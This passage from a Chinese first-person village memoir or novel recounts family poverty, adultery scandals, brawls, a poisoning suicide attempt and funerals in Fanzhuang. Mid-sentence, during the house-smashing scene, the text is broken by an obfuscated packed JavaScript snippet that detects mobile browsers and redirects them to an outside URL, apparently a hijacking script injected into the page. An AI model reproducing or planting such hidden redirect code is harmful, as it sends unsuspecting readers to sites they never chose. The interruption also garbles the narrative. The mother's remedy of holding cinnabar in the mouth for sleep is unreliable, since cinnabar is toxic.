国福的四个小孩儿去锅里盛饭,她们拿铲子把米饭培了又培,把锅里的米饭都要盛光了。到傲傲去盛饭了,傲傲把剩下的米饭铲起来,再把锅巴刮刮,满打满算,不到大半碗饭,十几岁的小男孩,本身就能吃,怎么能吃饱呢。 “二蛮子”中间也来看过他们兄弟俩儿,给他们带点瓜子、糖块儿,他们还很高兴。傲傲也要跟“二蛮子”走:“妈妈,你带我走吧!人家不给我吃!” “二蛮子”说:“我不能带你走。长柱不让我带,我也养不起你。” 长柱家住在凡庄最西北角上,他家墙外,是凡庄最西边的一条进庄的小路。我每次打这儿过来过去,都能看到长柱大爷爷家的哑巴大奶奶。她个子不高,穿着件褐色的大褂子,直垂到膝盖儿。她头上戴着顶红色的棉帽,长长的黄棕色的头发,扎成两个麻花儿辫儿,垂在胸前。不知道的乍一看,还以为是个小姑娘。近看,大奶奶挂着一张苍老的不知道年岁的脸,扶着门框站在她家门口儿,瞪着一双干枯的大眼睛死死地盯着过往的人,像是一条老狗恶狠狠地守着她家的门儿。我远远地喊她一声“大奶奶!”她不吭声,过了一会儿,又像是生气了似的,冲我“啊!啊!”地叫。 我回到家,跟我妈妈说:“我跟哑巴大奶奶说话,哑巴大奶奶好像生气了似的,直瞪我。” 我妈妈说:“她就那样。你可别在乎。恁哑巴大奶奶可怜。她一开始被人给买去了,后来人家不想要了,人家就拿板车推着她,把她扔到路边的沟里了,任谁捡谁捡,任谁拾谁拾。凡庄的人看到了,跟长柱说了,长柱没有家口,就找个板车把她推回来了。哑巴当时怀孕了,长柱就给她生下来,取名叫梅香。长柱后来也没再生,拿着梅香当个宝。” 我说:“长柱大爷爷长得不孬,怎么没好好找个对象呢?” 我妈妈说:“因为他家成分不好,没人敢跟他。” 我说:“梅香知道她不是长柱亲生的吧?” 我妈妈说:“梅香应该知道哦,谁知道来。知不知道的,怕什么的。梅香对恁大爷爷可孝顺了,对恁大奶奶也好。梅香精,人家从来不看不起她妈,天天伺候她妈穿衣裳,上厕所。哑巴的两个小辫儿就是梅香给扎的。人家哑巴跟着长柱可享福了,人家对她不打不骂的,拿她可疼了!生瞎了人,别生瞎了命!好样儿的女人也不如她。” “通通不是跟着长柱的吗?那长柱大爷爷的家业给谁啊?”我说。 我妈妈说:“通通跟着他,就算过继给他了。梅香出嫁以后,长柱家的那三间瓦屋,以后就是通通的了。” 通通、傲傲,早早地就出去打工了,他三叔国福一家的孩子也都早早出去打工。 通通给人家洗车,后来找了个媳妇,模样好看,个子也高,两个人在外头把孩子生下来,再回到长柱家。 通通在长柱家门口儿干活儿,他媳妇儿抱着孩子跟着看。满凡庄的人无不称赞。 “通通长得跟个小黑鬼儿样,他媳妇长得跟个七仙女儿样!” “关键人家通通是自己搁外头谈的,没车没房,没爹没娘,一个孤儿,没花一分钱,找个媳妇。人家这就叫本事!鸿雁要是也像通通那样谈一个,咱家得少花多少钱!”我妈妈说。 至此,通通成了我妈妈嘴里自己取媳妇的典范。我弟弟一抱怨我家环境不好,没钱,我妈妈就拿通通来说事儿。 “恁妈没本事,通通有爹吗?有娘吗?人家就一个孤儿!通通后来因为砍了人,坐了牢,他媳妇也不走,就在家抱着孩子等他,人家他岳父还夸他是个好汉。你看看!通通真是有本事!人家是真有能耐!”我妈妈说。 3.张家梁大爷 一个夏天,我们都在家里。两个穿天蓝色短袖衬衣的男人,一老一少,摸索着走到我家这边儿来了。看得出来,他们两个人不是凡庄人,不认得凡庄的路。 他们走到近前,那个年纪大点的五十来岁的男人问道:“俺是镇上来走访的,最近庄上的治安还好吧?” 我妈妈说:“好!大哥。恁家来歇歇吧?” “歇歇就歇歇!”年纪大的说道。他们走进屋里来,在我家堂屋门口坐下。 “听你口音是外地口音,你不是此地人。”年纪大点儿的大爷说。 我妈妈说:“是的,大哥。俺是山东人。俺是躲计划生育到这儿的。搁这儿结识的亲戚朋友。” “噢!”那个大爷低头沉思了一下,擦擦脸上的汗。 “天热,俺家也没有风扇。给恁扇子,恁扇扇?恁喝茶吧?”我妈妈说。 “俺才吃过饭,不渴!”大爷客气道,“恁几个小孩啊?” “三个!这是大丫头,那个是俺家小男孩儿,这个是俺三闺女!恁喊大大!”我妈妈说。 “大大!”我们喊道。 “噢,都长大了!”大爷说。 “是的!”我妈妈说。 “我小时候弟兄好几个,家里也穷。我也是一张小纸儿考的!小孩儿,都好好供她上学,长大了就好了!”大爷说。 “是的,大哥,恁几个小孩啊!”我妈妈问他。 “俺家两个,一个男孩,出国上学了,另一个女孩,正在上大学。”大爷说。 “噢,你看看,恁家孩子都争气,都上的好学!”我妈妈说。 “小孩儿跟小树一样,不理持不行。你得找个小杆儿给他标直了,他才能好好长!”大爷说,“看恁家里怪困难,这样吧,我叫张家梁,你有空去镇上找我,我去民政里说说,让民政给恁家一点儿照顾!” “那太感谢您了!老张大哥!”我妈妈说。 “把我的电话留给她!”张大大吩咐他旁边的年轻人。那个年轻人赶紧写了个纸条,交给我妈妈。 张大大低着头,慢吞吞地说话,也不怎么抬头。我倒是可以毫无压力地打量他。他长得一般,单眼皮,绛红色的脸,是个实在又厚道的老干部。 “恁姓什么?”大爷问我妈妈。 “俺姓周,大哥,俺叫周玉梅!”我妈妈说。 “噢,行,我知道了。咱走吧!”张大爷说着站起身儿来。 “恁不再坐坐了?大哥!”我妈妈说。 “走了,俺还得再转转!这边儿能过去吧?”张大爷指着我家东边的小路说。 “能过去!”我们说。 “行!”张大爷说着,就跟那个年轻一点的干部走出去了。 过了几天,我妈妈去镇上找张大爷。 一进镇政府大门儿,看门儿的老大爷就问:“恁找谁啊!” “俺找张家梁!大哥!”我妈妈说。 “恁找纪检书记啊!他就搁前边那个办公室,去吧!” 看门儿的老大爷说。 “谢谢大哥!”我妈妈这才知道,张家梁大爷是镇里的纪检书记。 我妈妈走过去,一推门儿,看到了张大爷:“老张大哥,俺来了!” “来了啊,来的正好,民政的小马在,我带你去!跟他说说情况!”张大爷说。 “谢谢大哥!”我妈妈说。 张大爷带我妈妈去了民政办公室:“这个是凡庄的周玉梅,一个寡妇带着三个孩子,困难户,我走访的时候到过她家!” “好的,恁坐!”民政的人招呼我妈妈说。我妈妈坐了下来。 “她家情况确实困难,回你再给她大队书记说一下!不行,给她家几口人都办上低保。”张大爷关照小马说。 “谢谢同志,谢谢大哥了!”我妈妈说。 “没事儿,你以后搁庄上有什么事儿,也能来找我。”张大爷说。 “行!大哥!”我妈妈说。 我妈妈满心感谢张大爷,家里有了山芋,南瓜,就背着去镇里,给张大爷送去。后来,又去他家,认识了张大爷的家属张大娘。 一天,我妈妈说:“我刚才去屋后头看了看咱家的玉蜀黍,我掐了掐,还蛮嫩的!咱给恁张大爷送几穗去吧!恁谁去?报上名来!” “我去!”我弟弟说。 她们很快就回来了,我弟弟一脸嬉笑,我妈妈去井台边儿上她的小盆儿里“呱唧呱唧”洗脸。我妈妈怕捡破烂的把她的洗脸盆捡走,就把一个破盆子立在一块石头上留着她洗手、洗脸。 我妈妈洗完脸,边擦脸边说:“恁张家梁大爷,又找了个小的!” “啊?”我不敢相信。 “俺这回去,他们正吃饭来!那个女的可会疼恁大爷了,煎饼都是卷好,递到恁大爷手里。”我妈妈说。 “这个老张大爷怎么恁么快就找了个小的的?”我说。 “那个女的原来就住在恁大爷对门儿,她丈夫还是老师,她是裁缝,有一个小女孩,她本来家庭也不错。她这步走错了,图的什么!”我妈妈说。 “图的大爷当官儿?”我说。我想起了大爷那张猪头似的脸。 “恁大爷以前当官,现在退休了!他不在原来那个部门了。”我妈妈说。 “大娘没跟大爷闹吗?”我说。 “闹有什么用!恁大娘跟他还没离婚来,就这样,恁大娘搁家里,他跟那女的住外头。”我妈妈说。 “他儿女怎么愿意的!”我说。 “这事儿儿女也管不了。人家说不定过两年还能再生一个来!”我妈妈说。 “你说他恁么大年纪了,怎么这样的?”我说。 “这事儿说来也不奇怪。光凡庄上,这种事儿就有好几家了。男的搁外头有了小的,家里的大婆儿闹了也没用。恁国佩奶奶的大儿不是又找了一个吗?” “那俺国佩爷爷跟国佩奶奶也不管啊?”我问。 “你知道什么哎。外头那个细皮嫩肉,又会打扮又讨人欢喜,还有那个男人给她的钱,她拿着给公婆买东西,打发的公婆也高兴哎。公婆早就对家里的这个大婆儿够够地了,这回,儿子找了个小的,老两口子不知道多高兴来。人家都是向着儿的,哪有几个向着儿媳妇的哎。恁国佩奶奶不仅不管,人家还把新儿媳妇锁在家里,新儿媳妇搁家里系上围裙,拿着锅铲子,一阵子煎炒烹炸,做了满满一大桌子菜,人家一家子大吃二喝的。”我妈妈说,“俺回来的时候,遇到恁国佩奶奶家大叔了,后头跟着他那个女的。你别说,确实好看,身段儿可好了,跟个泥了沟子似的!” “泥了沟子”是山东的土话,就是泥鳅的意思。我妈妈在赞扬那个新大婶子身段苗条,体格风骚了。我想象不出那个女人是个什么样子,只是在脑海中看到行走在田间地头上的旧大婶子,不知道是天生的,还是常年在地里种地晒的。她比我还宽,比我还胖,比我还黑。 “俺大婶子怎么不去闹的?”我说。 “恁大婶子闹?恁大叔那个小婆子还揍恁大婶子呢。前几年,恁大婶子带着两个小孩儿在路上遇到了那个小婆子,恁大婶子恨地去骂那个小婆儿,那个小婆把恁大婶子打了一顿,恁大婶子的两个小孩儿那时候还小,吓得‘哇哇’地哭。那个小婆儿说,‘恁两个小孩不要哭,我不会打恁的!’” 我妈妈说。 “娘啊!她破坏人家的家庭还恁厉害啊?”我说。 “现在这事儿搁社会上都不算什么了。人家都觉得是本事。”我妈妈说。 “俺大婶子怎么不跟俺大叔离婚的?”我说。 “她离婚?恁大叔还想跟她离婚来,恁大婶子就是不离。亏得恁大婶子娘家占贤。恁大婶子的两个兄弟把恁大叔给软禁起来,让他跟那个女的断绝关系,最后还是没有用,恁大叔还是要跟恁大婶子离婚。” “俺大婶子跟他离哎,怎么不跟他离的?”我说。 “要是离了就傻了。人家恁大婶子精。人家就是不跟恁大叔离。要是离了正合人家的意了。家业财产都是人家的了。”我妈妈说。 我说:“那俺大婶子怎么不走的?她也走啊?她也再找一个啊。” 我妈妈说:“她岁数越来越大了,两个儿都恁大了,还找什么了哎。也不好找。女的不像男的,女的顾虑的多。再说,恁大叔过阵子还回来。” “俺大叔还回来看俺大婶子啊?”我说。 “啊,人家恁大叔就是这样的。两个家,两头过,两个都要。”我妈妈说。 “我的天哎,要我还恶心死来。她两个小孩儿呢?”我问。 “恁大叔越来越有本事,在外头包了山头儿,恁大婶子的两个儿也长大了,跟着他爹还有恁新大婶子一块干活儿。恁那个新大婶子又生了一个。” 4.凡乐和小芹娘东窗事发 我妈妈每天四点就起来了,她一起来就用钥匙打开我和妹妹住的那间小屋门,开始舀水、切菜。她那张鱼鳍一样的案板,经过跟菜刀长年累月的切磋,中间部分已经深深地凹陷进去,像是一叶扁舟的船舱,狭窄逼仄,切起菜来左右摇晃,“叮当”作响。我妈妈边干活儿,嘴里边嘟嘟囔囔说话,说给正在睡觉的我听。我是高中生,我极度缺乏睡眠,我难得的星期天在家睡个觉,就这样被她打扰了。 “西院的凡乐跟前头那个女人的事儿,全庄都知道了。”我妈妈压低声音说。 “你给人说的?”我还在为我妈妈的安危担心呢。心里想,不是我妈妈说出去的吧,凡乐可别报复她。 “哪是我说的,是小芹娘自己说的!”我妈妈说。 “她怎么能自己说出去的?她不要脸了啊?”我说。 “恶心借凡乐的拖拉机耙地,把凡乐的拖拉机弄毁了,凡乐要大恶心赔他六百块钱。”我妈妈说。 “小芹娘不愿意?”我说。 “不愿意。她跟大恶心说,‘赔他什么钱,他还□□我来!’”我妈妈说。 “啊?他们不是相好吗?”我说。 “相好?男女奸情说不清。女的反咬一口,说你是□□,你就是□□!”我妈妈说。 “那凡乐怎么办?”我说。 “怎么办?人家大恶心跟小芹娘到派出所告凡乐了,小芹娘搁派出所里还有人,她娘家舅搁里头的,差点给写成□□!”我妈妈说。 “那还了得啊,本来是通奸,女人说是□□就是□□啊?”我说。 我妈妈说:“这种事儿,人家向着女的。” “那要是□□的话,凡乐不得坐牢啊?”我说。 “凡乐家托的人,最后写的通奸!”我妈妈说,“派出所的人,让她俩儿各说一套,两个人说的不一致。小芹娘也没心眼儿,连说瞎话都说不圆成,前言不搭后语。‘他,拽我这个裤腿子!他,拉我这个胳膊’。” “噢,那现在全凡庄都知道了?”我说。 “都知道了,亲叔公跟亲侄媳妇相好,凡庄多少年也没出过这种事儿!”我妈妈说,“恁国美奶奶说凡乐,‘自己拉的自己吃’!” “‘自己拉的自己吃’是什么意思啊?”我问。 “就是说凡乐不通人性,跟自己的亲侄媳妇相好。侄媳妇不是跟自己的闺女一样吗?”我妈妈说。 “那个女人怎么过的,还能出门儿啊!”我说。 “她那些天羞羞惭惭的,见了旁人都低着头走。凡乐那几天也不敢出门!”我妈妈说。 “哟,恶心不找他事儿啊!”我说。 “恶心见了凡乐就打,两个人之前搁大队部恁水清大爷的小诊所前打了一架。恶心到底比凡乐年轻十几岁,把凡乐的眼珠子都要打出来了!”我妈妈说。 “天呢!” “凡乐的女人去蒜地里投蒜,大恶心找过去,把凡乐的女人毒打一顿,都快打死了。大恶心怕出人命,对孬蛋说了,孬蛋去把凡乐的女人拉回来的!搁到恁水清大爷的诊所里,挂水。恁国美奶奶见了,可怜她,给她一包奶喝了。凡乐当时不搁家,等到后来知道了,去把她拉回来的!”我妈妈说。 “是凡乐跟他媳妇相好,管凡乐的女人什么事儿!”我说,“凡乐女人怎么不去告恶心的?他想打谁就打谁啊!” “不敢告,怕告反了!大恶心再告凡乐□□,凡乐要是坐了牢,他家就散了,他的三个孩子还要上学吧!凡乐的女人被打地可厉害了,躺在床上,凡乐服侍着,包的饺子。他二儿子回家拿生活费,看他妈妈这样,哭着走的,饺子都没吃!”我妈妈说。 “唉!”虽然凡乐一家老是排挤我家,但是,就事论事,我觉得凡乐跟他侄媳妇相好这件事,不该祸及他的妻儿。他的妻子也是受害者啊! “妈妈咱别说话了,我再睡会儿。”我说。 “噢,我不说了——你也该起了!”我妈妈说。 “我最近有点失眠,睡不好觉,头疼。”我说。 “你睡不好觉啊,回我上恁水清大爷那里给你买点朱砂,朱砂是镇惊的。你把朱砂痕搁嘴里睡觉,就会好的。”我妈妈说。 没几天,我妈妈果然给我一小包朱砂。用一片黄色的小纸包着。我打开那包朱砂,捏了一点儿放在嘴里,正想再睡会儿。我弟弟突然大叫了起来:“来来来!哦来哦来哦来!来来来!哦来哦来哦来!”我弟弟唱地声音很大,很带劲。我正头疼,睡不好觉,他这一唱,我更睡不着了。 这时候,我妹妹在被窝里动了动,我以为她听到我弟弟的歌声,很不高兴。谁知道,她调整了一下,也跟着我弟弟一起唱了起来:“来来来!哦来哦来哦来!来来来!哦来哦来哦来!!小花猫!来呀来跳舞!小花狗!来呀来唱歌!” 他们两个一起起劲儿地唱着,我根本无力吆喝。 我妈妈站在屋门口儿,对着他们两个就骂:“恁都别唱了!恁大姐上学压力大,睡不好觉,恁还唱唱儿聒她!谁再唱唱儿,就得个陡症儿,长个‘噎死瘊’!” 我妈妈对他们的训斥很管用,他们立刻就不再高歌了。 我弟弟听到我妈妈骂他们,也跟着我妈妈的话说:“恁这些钻炮眼的!做炮灰的!钻车底的!” 我们都知道这是我们小时候,我妈妈经常拿来骂我们的话,我们都笑了。我妈妈也笑了。 小芹娘经不住人家的指指点点,一时想不开,喝药了。还好小芹在家。小芹去喊了孬蛋。孬蛋到了小芹家一看,小芹娘正口吐白沫倒在地上,乱抓乱挠,心似火烧。孬蛋二话不说,骑上自行车,驮着小芹娘就往青羊山跑。小芹娘半死不活的,抱着孬蛋的腰。到了青羊山医院,孬蛋抱起小芹娘就往医生那里跑。 老话说得好,男女授受不亲。这一来二去。小芹娘跟孬蛋就这样亲香上了。 孬蛋的老婆是青羊山街上的,这一天,孬蛋媳妇从娘家回来,一进大门,看见小芹娘坐在她家沙发上正在看电视,孬蛋身上就穿着一条裤叉子。孬蛋看见他媳妇儿回来,吓得到处找裤子穿。 孬蛋媳妇儿说:“你跟她一块儿都不怕,怎么看见我倒怕了的?骚货!到处勾引男人,这回勾引到俺家了哈!” 小芹娘说:“我什么时候勾引他小叔了?你哪个眼看见我勾引他小叔的?你不去青羊山浪汉子,你就知道我勾引他小叔了?” 孬蛋媳妇说:“我去青羊山正好给你挪窝儿了!你正好得空儿了!你勾引的孬蛋裤子都脱了。你还说你没勾引他?他的裤头子是不是刚穿上?你勾引完了你就不认账儿了?” 孬蛋媳妇要去打小芹娘,孬蛋把他媳妇拦腰抱住。小芹娘过来薅孬蛋媳妇头发,一把薅下去,连皮带肉撕下来一大块。孬蛋媳妇被孬蛋抱着,再三挣扎也够不着小芹娘,小芹娘骂骂咧咧地,从孬蛋家且骂且退。 孬蛋媳妇咽不下这口气,从青羊山娘家搬来救兵,要去大恶心家打小芹娘。大恶心正好在家,大恶心面对敌军,展现了男人的雄风,他把小芹娘护在身子底下。孬蛋媳妇的娘家人七里扑腾一顿打,把大恶心打个半死。 孬蛋媳妇又率领亲兵转战她自己家,准备去打孬蛋。好汉不吃眼前亏。孬蛋面对岳父家的天兵天将,立刻双手抱拳,双膝下跪:“兄弟哥哥,叔叔大爷,恁消消气儿!千错万错都是我的错。我不该被那个狐狸精迷惑,她连俺二叔她都迷惑。你说她这个女人得有多歹毒。我一时昏了心、瞎了眼。我没护好俺媳妇,被那个女人给打了。我该死!” 弟兄们说:“不行,你害得俺姐的头皮都给那个女人撕下来了,今天,不能便宜了你,得给你点儿颜色看看!” 众人挥起老拳正要朝孬蛋动手。孬蛋三步两步爬到他媳妇跟前,他媳妇伸出手来一把接住。 “算了吧!”他媳妇说,“饶了他这一回吧。” 众人说:“姐,你就这样放过他了?狗改不了吃屎。他能有今天,就有明天。你不让兄弟们给他吃个辣菜,他回头还跟那个婊子女人一起欺负你。” 孬蛋媳妇指着自己的头皮说:“孬蛋,我的头皮给那个女人薅下来了。现在这一块儿连头发都不长了。你说怎么办?” 孬蛋说:“我当着弟兄们的面给老天发愿。只要老天保佑你的头发再长出来,我乌猪白羊敬老天!” 孬蛋媳妇说:“好。这是你说的。” 孬蛋说:“是的。我给老天发愿。你让兄弟们回去吧。咱两人从此一心一意过日子。” 孬蛋媳妇跟她娘家兄弟说:“那恁回去吧。” 孬蛋媳妇的那些娘家兄弟们听从她的指令,全部向青羊山撤退了。孬蛋也收了心,服从他媳妇的管束,再也不跟小芹他娘来往了。 那年大年初一,仿佛事先就得到了风声似的,凡乐一家大门紧闭,不知道去了哪里。 过年了,大恶心扶着小芹娘走出家门,挨家挨户给长辈拜年。本家长辈见了大恶心这副惨状,无不感叹落泪。 恶心在他媳妇的搀扶下哆哆嗦嗦跪下去,屋门儿口儿的长辈掉着眼泪赶紧扶起:“别磕了!乖孩子!快起来吧!” 大恶心扶着小芹娘回家,小芹娘准备把大恶心扶上床。大恶心只觉腰间一阵剧痛,腰像是断成两截儿了似的,差点疼得昏死过去,好些没上得了床。小芹娘无奈,一个人不敢轻举妄动,就让小芹去喊他小叔孬蛋。 小芹到了他小叔孬蛋家就喊:“俺——小——叔,俺妈——喊你!” 孬蛋应声出来:“喊我干嘛的?” 小芹结结巴巴地说:“俺——爸,上——不了——床了。俺——妈,让我——来——喊你!” 毕竟是手足情深,孬蛋听了,一把抱起小芹,就往大恶心家里奔。 孬蛋媳妇抄起一根树枝就骂着跟了上去:“刚过了两天安生日子,又来勾引汉子了!什么时候是个头儿啊!说好的乌猪白羊敬老天的!我这头发长出来了没有啊?!” 下午的时候,孬蛋发了疯似的朝凡乐家跑来了,他手里拿着半截子铁棍,到了凡乐家大门口儿,“砰砰”,把四凡乐家大门儿上的铁链子敲开,跑到他家里,把他家里七里扑腾砸个稀巴烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137796|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把他家炸好的准备过年的红萝卜丸子也给扔了出去,滚的满院子都是。 直到晚上,凡乐一家才回来,凡乐不知道找了谁去说和,孬蛋才不来打砸了。 “哎!收拾收拾,好好过年!”凡乐说。 三姑姥娘去世了,是膀胱癌,检查出来的时候,已经是晚期,只能带回家将养着。 三姑姥娘去世的那天晚上,疼了半夜,叫了半夜:“俺的娘来!俺的娘来!”我妈妈跟她近房的几个女人守着她。 三姑姥娘出殡的那天,我请了假,我同学给我扎了两个小辫子,我就穿着随身的校服,去参加三姑姥娘的葬礼。我是女孩子,也不用参加“路祭”,就是吃了一顿午饭。同桌的都是三姑姥娘的外庄上的亲戚,有的还是小鲁村的,十几年前就跟我们认识。几个妇女围着我,说我长大了:“这个小女孩不像个农村人,像个吃国库粮的!”我在凡庄没什么亲戚,这几个妇女的热情,倒是给了我久违的亲情。 下午,该出殡了。那边厢,送葬的队伍浩浩荡荡地到了西山头。这边厢,孬蛋媳妇和凡乐的媳妇都抄着铁桶和笊篱,直奔厨房,去瓜分厨房里的酥肉和炸鱼去了。 我妈妈回到家,推开屋门,孬蛋正按着小芹娘在我家床上,小芹娘咯咯地笑着。我妈妈赶紧闪身躲过,去了我家屋后的茅房。她把南瓜秧往地上托了托,薅了几把青草,把那些露出头儿的南瓜给盖上,免得被人家给偷了去。黄灿灿的南瓜花盛开了,我妈妈摘下来几朵南瓜花,准备用它来煎面饼子给我们吃。 她在屋后忙活了半天,估摸着孬蛋跟小芹娘走了,她才回到我家天井里,拿起盆子,去井台那边打水,准备烧锅造饭。 5.骄傲家 一天下午,我妈妈正在锅屋里烧饭,一个大爷来我家了。 他站在大恶心屋后头,朝着我家里说:“三妹搁家吗?” 我妈妈从锅屋里走出来,应声儿道:“我搁家来,大哥。恁有什么事儿吗?” 大爷说:“俺家那个旧的拖拉机头不使了,你回头去拉到恁家来吧。” 我妈妈说:“行!大哥!恁还家来坐坐吧?” “我不坐了。”大爷说。 大爷走了。我问我妈妈:“这是谁啊?” “骄傲的爸爸,你不认得啊?”我妈妈说。 “我哪儿认得啊。”我说。 “骄傲家就搁恁凡香三大爷家东边儿。盖着二层小楼儿。你去上学过来过去的没看到啊。”我妈妈说。 “我看到他家的楼了,没看到他家的人。”我说。骄傲的爸爸,我们跟他叫大爷。骄傲这个人,我自始至终只知其名,不知其人。包括骄傲一家,我也印象不清。骄傲一家,是我家跟凡姓近房里仅存的有交往的一家。 “骄傲的爷爷你知道吧,他就一个人住在恁凡香三大爷的屋后头。”我妈妈说。 “知道。”我说,“那个大爷爷就住在两间小屋里,屋门外都是青草稞子,门外有一口锅。” “骄傲的爷爷放羊。他每天烧上一锅玉蜀黍汤,自己盛点儿喝喝,剩下的,再给羊喝喝。”我妈妈说。 “大奶奶不跟他搁一块儿吗?”我问。 “骄傲的奶奶身体不好,跟骄傲一家子住一块儿。”我妈妈说。 “我见过大奶奶,她穿着一件带大襟的白褂子。就搁骄傲家。骄傲的爸爸,不是创上海有钱了吗?俺大爷爷怎么还过得恁么艰苦的?”我说。 “骄傲的爷爷一辈子都是这样,习惯了。”我妈妈说,“骄傲的爷爷弟兄少,就他自己。凡乐的爹弟兄五个,光打人家。有一回,凡乐的爹把骄傲的爷爷打地浑身是血。骄傲的爷爷回到家,恁大奶奶想给他把身上的衣裳脱下来的,那衣裳粘在血口子上,都脱不下来了。恁大奶奶蘸着水,一下一下擦着伤口,这才把骄傲爷爷的那件血衣给脱下来了。” 我说:“那骄傲的爷爷跟凡乐的爹不是有仇了吗?这辈子也不跟他来往了。” “凡乐他爹弟兄多,骄傲的爷爷打不过他,还得巴结他。人家给凡乐大哥说亲。媒人带着大闺女来看家,凡乐的爹招待不起媒人。骄傲的奶奶把媒人带到她家里招待的。那个年头儿,家家都穷,吃不起。人家骄傲的奶奶做了‘四白饭’给媒人吃的。媒人吃了,跟人家大闺女夸的,你看看人家,给咱吃的‘四白饭’,哪个家庭吃的起‘四白饭’啊。” “什么是‘四白饭’?”我问。 “就是白芋叶子,白菜帮子,臭豆腐,咸鸭蛋。”我妈妈说,“现在人家骄傲家过阔喽,凡乐大恶心他们都溜着人家。谁也不如人家了。” 现如今,一切朝钱看,骄傲的爸爸有了钱,在凡庄上独树一帜,成了老大哥和领头羊。凡乐一家唯骄傲家马首是瞻。 “骄傲奶奶得病了,俺还得去看看去。恁要是去她家都注意一点儿哈。听说传人。她儿媳妇自己都离地远远地,都不靠近她。坏!也不跟外人不说,外人都不知道。”我妈妈说。 “哦。”我答应了一声儿,“俺又不去她家。” “要是她哪天要死了,我还得去哭哭呢。”我妈妈说。 割完稻子,我弟弟开着拖拉机从地里往家里拉稻草。稻草堆地很高,像个圆圆的小山包,我妈妈就坐在高高的稻草堆上。我看见我弟弟开着拖拉机从凡乐家墙西过去,往我家屋后头开过去了。 我忽然听到我弟弟的声音:“妈!妈!”我赶紧往屋后头跑去。我看到我妈妈站在稻草堆里。 “怎么回事儿?”我问。 “我刚才从稻草堆上掉下来了。”我妈妈说。 “怎么掉下来的?”我问。 “刚才下岗儿,拖拉机一巅蹬,我就掉下来了。鸿雁吓地到稻草堆里扒。到底是自己的小孩儿,要是旁人家的孩子,你再怎么样,他也不心疼啊!” 我听了我妈妈的话,想象着她从拖拉机上高高的稻草上“腾”地一下掉下来的样子,我“哈哈”大笑了起来。我妈妈看见我笑,也“哈哈”大笑了起来。我们笑得眼泪都出来了。 我弟弟也笑了。他笑完了,恨恨地骂我说:“你笑什么?你以后,恁对象带着你,你也从车上摔下来!” 我妈妈说:“骄傲奶奶死了。家里都来了喇叭匠子了。俺回还得去哭哭去。恁大爷还得来让咱去他家吃饭去来。” 我说:“咱去吃饭还得给钱吧?” 我妈妈说:“不要给钱。给钱恁大爷也不会收的。咱现在谁家有事儿都不去了。就去他家,这都是给他家面子了。” 我又问:“人家那些亲近房给钱吧?” 我妈妈说:“亲近房都不要给钱。” 我说:“亲近房都不给钱,还一满家子都去他家吃饭,还把人家给啃死了呢。” 我妈妈说:“人家这边儿就兴这样。‘啃丧虫,啃丧虫’。啃地就是他。” 傍晚的时候,骄傲的爸爸来我家跟我妈妈说:“三妹,你回头带着小孩去吃饭去。” 我妈妈说:“行,大哥。” 第二天一大早,我妈妈就带着我们几个去骄傲家吃饭。骄傲家里,站着凡姓的男男女女。人家三五成群,热热闹闹,客客气气,都不跟我们搭腔。我们三个围着我妈妈站着。显得格格不入,孤孤单单地。天井里,临时搭的棚子里,摆着一张张大圆桌子。桌子上头蒙着一层白白的塑料薄膜。 我妈妈提议说:“还没开席。咱去恁凡意大娘家里玩会儿去吧。” “行!”我完全赞同,立刻附议。我们跟着妈妈迤逦到了凡意大娘家。大娘一个人在家里。 “来了?俺三妹?来坐会儿。”凡意大娘说。 “行!大嫂子。”我妈妈笑嘻嘻地说。 “恁来骄傲家吃饭的?”凡意大娘说。 “是的,大嫂子!”我妈妈说。 我打量了一下凡意大娘的小院儿,后头是堂屋,前头是锅屋,虽然是用玉石块子盖的,但是拾掇地整整齐齐,干干净净,都比我家利落。 我们在凡意大娘家坐了一会儿,就出来了。 “俺走了,大嫂子。”我妈妈跟凡意大娘说。 “行。俺三妹,有空儿再来玩儿。”凡意大娘说。 等我们到了骄傲家的天井里,棚子里的大圆桌上早已坐满了人。 “恁娘几个儿去哪了?”一个老头儿皱着眉头跟我们说,“赶紧坐下吃饭。” 我们在一个大圆桌子上找个地方坐下了。对面,坐着豆秃子家的。 “来!赶紧坐下。”豆秃子家的笑嘻嘻地说。 “行,大婶子。”我妈妈说。 “这是恁大奶奶。”我妈妈跟我们说。 “大奶奶!”我喊豆秃子家的说。 “哎!大姐!”豆秃子家的笑嘻嘻地说。 “俺大叔没来吗?大婶子,大叔身体好点儿了吗?”我妈妈问豆秃子家的。 “他还没好。起不来。到哪看都看不好。”豆秃子家的说。 “俺大叔得的什么病哎。”我妈妈说。 “谁知道来。医生也说不清。说是跟鸟类有关系。”豆秃子家的说。 骄傲家有钱,大奶奶的丧事也办地风风光光。院子里,喇叭匠子起劲儿地吹着。 骄傲的爸爸披麻戴孝地从棺材旁走出来,把三百块钱朝喇叭匠子跟前的地上掷下去。 “谢赏!”为首的喇叭匠子说。接着,几个喇叭匠子举起喇叭,冲着天,呜哩哇啦地又吹起来了。 那时是冬天,刚刚下过一场大雪。天井里,站着坐着走着的全是人,都披着孝,白白的一片。众人脸上并没有什么悲伤的神色。 我说:“你看,人家都穿着孝衣,都不难过。孝衣的作用就是穿着来吃饭的。” 我妈妈说:“是的,这孝衣就跟身份证样。穿上就有饭吃,不穿就不给饭吃。” 立勤大爷爷吃罢了饭,戴上眼镜,坐在用黑账子临时搭的棚子里,拿着毛笔记账,写联子。他的面前,摆着他的水杯子,水杯子里冒着热气。 我妈妈说:“大叔,人家外头都传说,你给人家记账,写联子,可讲究了。得喝滚开滚开的开水。水凉一点儿都不行。” 立勤大爷爷说:“他们那都是放屁的,有意糟践我的。我喜欢喝茶。水不开的话,我不能泡茶叶。” 正说着,忽听人群里有人说:“来了!来了!” “谁来了?谁来啦?” “在哪?在哪?” “小嫂子来了!小嫂子来了!”乌泱泱的人群轰动起来。 妈妈悄悄说:“恁大爷那个小的来了!” 